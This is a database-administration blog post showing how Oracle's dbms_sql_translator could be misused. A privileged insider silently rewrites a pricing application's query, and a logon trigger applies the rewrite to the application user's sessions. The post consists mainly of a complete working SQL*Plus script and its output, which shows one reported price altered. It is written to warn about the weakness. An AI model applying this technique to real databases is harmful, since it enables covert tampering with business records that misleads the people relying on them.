By: Brian Fitzgerald
This blog posting points out how dbms_sql_translator could be misused to subtly alter application reporting. In the past, segregation of duties across application developers and administrators made such manipulation less feasible. Auditing could detect the act after the fact, but cannot prevent it.
Scenario: A company runs a pricing application. Malicious privileged user Trudy manipulates the reported price.
[oracle@stormking cdb12102 sqltranslator]$ cat transdemo.sql
whenever sqlerror exit 1
set linesize 32767
set pagesize 50000
conn d/d@//stormking:1521/pdbm
select user from dual;
create user uprice
identified by uprice
default tablespace users
quota unlimited on users;
grant create session,
create table
to uprice;
conn uprice/uprice@//stormking:1521/pdbm
select user from dual;
create table prices
(
entity varchar2(20),
price number
);
insert into prices ( entity, price ) values ( 'ABC', 54.32);
insert into prices ( entity, price ) values ( 'DEF', 11.44);
commit;
select entity, price from prices;
conn d/d@//stormking:1521/pdbm
select user from dual;
create user trudy identified by trudy;
grant dba to trudy;
conn trudy/trudy@//stormking:1521/pdbm
select user from dual;
grant translate any sql to trudy;
begin
dbms_sql_translator.create_profile(
profile_name => q'{pricefixpro}'
);
dbms_sql_translator.register_sql_translation(
profile_name => q'{pricefixpro}',
sql_text => q'{select entity, price from prices}',
translated_text => q'{select entity,
case entity when 'DEF'
then price * .99
else price end price
from prices}'
);
end;
/
column owner format a30
column profile_name format a30
select owner, profile_name
from dba_sql_translation_profiles;
create or replace trigger uprice.xlate_trg
after logon on database
when ( user in ('UPRICE') )
declare
l_cmd clob;
begin
l_cmd := q'{alter session
set events = '10601
trace name context forever, level 32'}';
execute immediate l_cmd;
l_cmd := q'{alter session
set sql_translation_profile = trudy.pricefixpro}';
execute immediate l_cmd;
end;
/
column owner format a10
column trigger_name format a20
column trigger_type format a20
column triggering_event format a10
select
owner, trigger_name, trigger_type, triggering_event
from dba_triggers
where owner = 'UPRICE'
and trim(triggering_event) = 'LOGON'
;
grant alter session to uprice;
grant all on sql translation profile pricefixpro to uprice;
grant administer database trigger to uprice;
conn uprice/uprice@//stormking:1521/pdbm
select user from dual;
select entity, price from prices;
conn d/d@//stormking:1521/pdbm
select user from dual;
drop trigger uprice.xlate_trg;
revoke administer database trigger from uprice;
revoke alter session from uprice;
drop user trudy cascade;
drop user uprice cascade;
quit
[oracle@stormking cdb12102 sqltranslator]$ sqlplus /nolog @ transdemo.sql ; date
SQL*Plus: Release 12.1.0.2.0 Production on Sat Nov 5 11:40:50 2016
Copyright (c) 1982, 2014, Oracle. All rights reserved.
Connected.
USER
------------------------------
D
User created.
Grant succeeded.
Connected.
USER
------------------------------
UPRICE
Table created.
1 row created.
1 row created.
Commit complete.
ENTITY PRICE
-------------------- ----------
ABC 54.32
DEF 11.44
Connected.
USER
------------------------------
D
User created.
Grant succeeded.
Connected.
USER
------------------------------
TRUDY
Grant succeeded.
PL/SQL procedure successfully completed.
OWNER PROFILE_NAME
------------------------------ ------------------------------
TRUDY PRICEFIXPRO
Trigger created.
OWNER TRIGGER_NAME TRIGGER_TYPE TRIGGERING
---------- -------------------- -------------------- ----------
UPRICE XLATE_TRG AFTER EVENT LOGON
Grant succeeded.
Grant succeeded.
Grant succeeded.
Connected.
USER
------------------------------
UPRICE
ENTITY PRICE
-------------------- ----------
ABC 54.32
DEF 11.3256
Connected.
USER
------------------------------
D
Trigger dropped.
Revoke succeeded.
Revoke succeeded.
User dropped.
User dropped.